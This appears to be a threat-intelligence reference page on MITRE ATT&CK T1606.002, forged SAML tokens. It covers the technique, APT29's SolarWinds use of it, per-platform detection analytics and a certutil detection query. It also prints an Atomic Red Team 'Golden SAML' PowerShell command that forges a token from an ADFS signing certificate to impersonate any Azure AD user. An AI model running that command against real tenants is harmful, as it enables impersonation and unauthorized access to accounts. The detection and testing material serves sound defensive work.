tfMITRE ATT&CK sub-technique

SAML Tokens T1606.002

sub-technique of T1606 Forge Web Credentials

Tactic: Credential Access
Platforms: SaaS, Windows, IaaS, Office Suite, Identity Provider
Version: 1.4
Created: 17 December 2020
Last modified: 24 October 2025
Contributors: Blake Strom, Microsoft 365 Defender; Oleg Kolesnikov, Securonix; Jack Burns, HubSpot

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.[1] The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.[2] Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.[3]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsNone recorded

Threat groupsNone recorded · 29% of ATT&CK techniques have none either.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

SAML Tokens MITRE reference T1606.002

72nd pctamong all ATT&CK techniques for number of campaigns

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

SolarWinds CompromiseC0024 ↗

During the SolarWinds Compromise, APT29 created tokens using compromised SAML signing certificates.1 2

2019–2021

All 1 campaigns for this technique

Offense vs defense T1606.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

SAML Tokens detection strategy DET0148

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Forged SAML Tokens

Enterprise

5 platforms

AN0418 · Identity Provider

Forged SAML tokens can be observed as authentication attempts with valid signatures but missing expected preceding Kerberos or authentication events. Defenders may correlate SAML assertions with absent Event IDs 4769, 1200, or 1202, or tokens issued with abnormal lifetimes, issuers, or claims compared to baseline.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account AuthenticationDC0002	WinEventLog:Security	EventCode=4769, 1200, 1202
Logon Session MetadataDC0088	azure:signinlogs	SAML-based login with anomalous issuer or NotOnOrAfter lifetime

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TokenLifetimeThreshold	Defines the maximum expected lifetime of a SAML token (e.g., >1 hour considered anomalous).
TrustedIssuerList	List of approved SAML issuers and certificate thumbprints.

AN0419 · IaaS

Forged SAML tokens in IaaS environments often manifest as cross-cloud or cross-account authentication without matching STS events. Defenders may see AssumeRole or GetFederationToken API usage without a corresponding SAML assertion log from the trusted IdP.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Web Credential UsageDC0007	AWS:CloudTrail	AssumeRoleWithSAML
Logon Session CreationDC0067	CloudTrail:Signin	SAML login without corresponding IdP authentication log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CrossAccountUsage	Flag SAML tokens used across unexpected accounts or cloud tenants.

AN0420 · Windows

Forged SAML tokens may be used on Windows systems to authenticate to federated apps without normal Kerberos activity. Defenders may detect anomalous event correlation, where access to SaaS/O365 via SAML occurs without prior TGT requests or user logons.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Web Credential CreationDC0006	WinEventLog:ADFS	Token issuance events showing anomalous claims or issuers
Logon Session CreationDC0067	WinEventLog:Security	EventCode=4624, 4648

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ClaimAnomalyThreshold	Number of unusual claims in a SAML token (e.g., excessive privileges).

AN0421 · SaaS

Forged SAML tokens can appear as SaaS logins where authentication succeeded without MFA, or where tokens contain claims inconsistent with the user profile. Look for concurrent sessions across different geographies with the same SAML assertion ID.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Web Credential UsageDC0007	saas:access	SAML token accepted without preceding login challenge
Logon Session MetadataDC0088	m365:unified	Abnormal user claims or unexpected elevated role assignment in SAML assertion

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
GeoVelocityThreshold	Triggers when same SAML token used in different geographies within short timeframe.

AN0422 · Office Suite

Forged SAML tokens may be leveraged to access O365 apps such as Outlook or SharePoint. Defenders should monitor for token replay across multiple clients or access attempts to privileged mailboxes without prior interactive login.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Web Credential UsageDC0007	m365:exchange	Mailbox access using SAML token without corresponding MFA event
Logon Session CreationDC0067	m365:sharepoint	File access with forged or anomalous SAML claims

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ReplayDetectionThreshold	Number of times a token is reused within short timeframe.

1 analytic

This search looks for arguments to certutil.exe indicating the manipulation or extraction of Certificate. This certificate can then be used to sign new authentication tokens specially inside Federated environments such as Windows ADFS.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the Splunk search below

processes = search Process:Create
certutil_downloads = filter processes where (
  exe =”C:\Windows\System32\certutil.exe” AND command_line = * -exportPFX * )
output certutil_downloads

Splunk implementation

| tstats count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=certutil.exe Processes.process = "* -exportPFX *" by Processes.parent_process Processes.process_name Processes.process Processes.user

Unit tests

CAR’s own validation procedures for this analytic.

Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/suspicious_behaviour/certutil_exe_certificate_extraction/windows-sysmon.log) using the Splunk attack range with the commands below

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

Execute the atomic test [T1606.002](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1606.002) against a Windows target.

["Invoke-AtomicTest T1606.002"]

Tests1ExecutorsPowerShell 1Need elevation0 of 1Have prerequisites1Have cleanup0Platformsazure-ad

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Golden SAML

azure-ad

PowerShell

—

Forge a "Golden SAML" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). You will need the ADFS token signing certificate (see T1552.004 to export it). More info here : https://o365blog.com/post/adfs/

Input arguments

Name	Type	Default	Description
issuer_uri	string	http://contoso.com/adfs/services/trust/	Issuer URI of the ADFS service
immutable_id	string	aehgdqBTZV50DKQZmNJ8mg==	ImmutableId of the targeted user. It can be obtained with AzureAD powershell module; $(Get-AzureADUser -SearchString "username").ImmutableId
certificate_path	path	.\ADFS_signing.pfx	Token signing certificate path. See T1552.004 to export it

Attack command

Import-Module AADInternals -Force
$saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}"
$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
Write-Host "End of Golden SAML"

Prerequisite

AADInternals module must be installed.

Check

if (Get-Module AADInternals) {exit 0} else {exit 1}

Satisfy

Install-Module -Name AADInternals -Force

GUIDbf702daf-60a4-47f4-be3e-f1b63ab24858

Tests from Atomic Red Team (MIT licence) · technique definition

SAML Tokens detections T1606.002

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs